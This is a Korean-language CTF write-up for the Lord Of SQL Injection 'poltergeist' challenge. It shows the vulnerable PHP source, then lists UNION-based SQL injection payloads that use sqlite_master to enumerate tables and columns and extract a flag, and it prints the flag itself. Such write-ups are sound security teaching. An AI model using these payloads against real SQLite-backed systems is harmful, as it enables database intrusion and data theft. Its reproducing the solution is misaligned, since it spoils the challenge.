[LOS] poltergeist

2019.07.17 21:24wargame/Lord Of SQL Injection

소스코드 분석


<?php

  include "./config.php";
  
login_chk();
  
$db sqlite_open("./db/poltergeist.db");
  
$query "select id from member where id='admin' and pw='{$_GET[pw]}'";
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
$result sqlite_fetch_array(sqlite_query($db,$query));
  if(
$result['id']) echo "<h2>Hello {$result['id']}</h2>";

  if(
$poltergeistFlag === $_GET['pw']) solve("poltergeist");// Flag is in `flag_{$hash}` 

table, not in `member` table. Let's look over whole of the database.
  
highlight_file(__FILE__);
?>


1. $db sqlite_open("./db/poltergeist.db"); > DB환경이 sqlite


2. if($result['id']) echo "<h2>Hello {$result['id']}</h2>"; > 반환값에서 id 컬럼에 해당하는 값을 출력


3. // Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.> Flag 값은 flag_{$hash}형태의 테이블에 존재 > Union SQL Injection으로 시도 가능



문제 풀이


sqlite 환경에서의 테이블, 컬럼 명 탈취하는 문제다.

MYSQL 환경에서는 information_schema.columns의 table_name, column_name을 사용하였지만 sqlite에는 information_schema라는 DB가 존재하지 않는다. 

대신 sqlite_master를 이용하여 MYSQL 환경에서와 비슷하게 Union SQL Injection을 시도할 수 있다. 테이블 명은 다음과 같은 파라미터로 출력할 수 있다.


?pw=' union select tbl_name from sqlite_master-- -



운이 좋게도 limit 기능을 사용하지 않았는데도 flag 테이블의 명을 찾았다. MYSQL 환경과 동일하게 sqlite는 limit을 지원하여 MYSQL 환경이 익숙한 사람이면 최상단에 flag 테이블이 뜨지 않아도 쉽게 찾을 수 있을 것이다. Oracle 환경이나 SQL Server 같은 경우 limit을 지원하지 않아 직접 구현하거나 다른 기능을 사용하여야 한다.


테이블 명을 찾았으니 flag 테이블의 컬럼을 출력한다. 동일하게 sqlite_master에서 해결할 수 있다.

요청 파라미터는 아래와 같다.


?pw=' union select sql FROM sqlite_master WHERE tbl_name='flag_70c81d99'-- -



컬럼 명도 찾았으므로 Flag 값을 출력한다.


?pw=' union select flag_0876285c from flag_70c81d99-- -




?pw=FLAG{ea5d3bbdcc4aec9abe4a6a9f66eaaa13}



poltergeist를 마지막으로 다음 문제부터는 SQL Server 환경에서의 문제가 나온다.


'wargame > Lord Of SQL Injection' 카테고리의 다른 글

[LOS] revenant  (0) 2019.07.26
[LOS] nessie  (0) 2019.07.17
[LOS] poltergeist  (0) 2019.07.17
[LOS] banshee  (0) 2019.07.17
[LOS] manticore  (0) 2019.07.17
[LOS] chupacabra  (0) 2019.07.16